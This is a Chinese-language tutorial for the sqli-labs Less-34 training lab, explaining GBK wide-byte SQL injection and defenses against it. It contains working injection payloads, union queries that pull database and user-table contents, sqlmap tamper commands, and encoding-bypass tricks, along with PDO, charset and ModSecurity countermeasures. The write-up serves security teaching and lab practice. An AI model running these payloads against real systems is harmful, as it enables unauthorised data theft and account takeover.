资讯详情

资讯详情

sqli-labs Less-34宽字节注入实战与防御

1. sqli-labs-Less-34通关实战解析作为Web安全领域的经典靶场sqli-labs的第34关Less-34是许多安全从业者进阶路上的关键节点。这个关卡主要考察宽字节注入GBK Character Encoding Injection的实战利用能力相比前33关的单字节注入场景Less-34在字符处理层面设置了更复杂的防御机制。我在实际渗透测试工作中发现许多CMS系统至今仍存在类似的编码转换漏洞掌握这关的技巧对真实环境审计极具参考价值。2. 环境准备与漏洞原理2.1 靶场环境搭建建议使用Docker快速部署sqli-labs环境docker pull acgpiano/sqli-labs docker run -dt --name sqli-lab -p 80:80 --rm acgpiano/sqli-labs访问http://localhost/Less-34/即可进入关卡。该关卡模拟了一个使用GBK编码的登录页面后端采用PHPMySQL架构存在典型的用户名密码验证逻辑。2.2 宽字节注入原理剖析当MySQL使用GBK编码且PHP开启magic_quotes_gpc或addslashes时单引号会被转义为\。但GBK编码中%df%5c构成合法汉字運攻击者通过构造%df可使转义符\被吃掉原始输入: %df 转义后: %df\ GBK解码: 運这样单引号成功逃逸形成注入点。这种绕过方式在早期Discuz!、PHPWind等系统中屡见不鲜。3. 手工注入全流程3.1 确定注入点使用Burp Suite拦截登录请求修改username参数为admin%df or 11 --提交后若成功登录则确认存在宽字节注入。关键点在于%df与转义符\组合成GBK字符--注释后续SQL语句不要对%df进行URL编码Burp默认会编码需在Raw模式下操作3.2 获取数据库信息通过联合查询获取数据admin%df union select 1,group_concat(schema_name) from information_schema.schemata --此时要注意需先确定字段数通过order by测试GBK编码可能导致部分字符显示乱码可用hex()函数转换遇到过滤时可尝试/*!50000*/内联注释绕过3.3 提取表数据获取当前数据库表admin%df union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase() --提取users表字段admin%df union select 1,group_concat(column_name) from information_schema.columns where table_nameusers --4. 自动化工具利用4.1 SQLmap配置要点创建sqli.txt保存请求数据关键配置# sqli.txt POST /Less-34/login.php HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded unameadmin%df*passwd123submitSubmit执行命令sqlmap -r sqli.txt --tamperunmagicquotes --dbmsmysql --level3必须使用unmagicquotes脚本处理转义符--level需≥3才能检测POST注入。4.2 常见报错处理出现[CRITICAL] connection reset检查%df是否被二次编码无法识别注入点尝试--tamperchardoubleencode中文乱码添加--hex参数5. 防御方案与实战启示5.1 安全编码建议统一使用UTF-8编码PDO参数化查询$stmt $pdo-prepare(SELECT * FROM users WHERE username? AND password?); $stmt-execute([$username, $password]);禁用magic_quotes_gpcPHP5.4已移除5.2 运维防护措施WAF规则示例ModSecuritySecRule REQUEST_URI|REQUEST_BODY \xdf[\x20-\x7e]? \ id:34001,phase:2,deny,msg:GBK SQLi AttemptMySQL配置[mysqld] character-set-serverutf8mb4 collation-serverutf8mb4_unicode_ci6. 深度绕过技巧6.1 双重编码绕过当服务器自动解码时尝试admin%%32%64%66%27其中%32%64是2d的URL编码最终仍解码为%df6.2 字符集混淆利用若服务端强制转换字符集可尝试admin%c0%27在GBK中%c0不是有效前导字节可能使转义符失效7. 靶场通关验证成功获取到users表数据的完整Payloadunameadmin%df union select 1,concat_ws(:,id,username,password) from users limit 1,1 --passwd123submitSubmit返回结果应包含类似ID: 1, Username: admin, Password: 5f4dcc3b5aa765d61d8327deb882cf99在真实渗透测试中遇到GBK编码的系统要特别注意检查此类漏洞。我曾在一个政府网站审计中发现同样的问题通过宽字节注入直接获取了后台权限。建议开发者在处理用户输入时始终使用mb_convert_encoding明确指定编码格式。
觉得有用,分享给同行:

为您的企业打造数字门面

稳重轻奢商务风格,端正雅致视觉,长效耐看不易过时。

立即咨询 →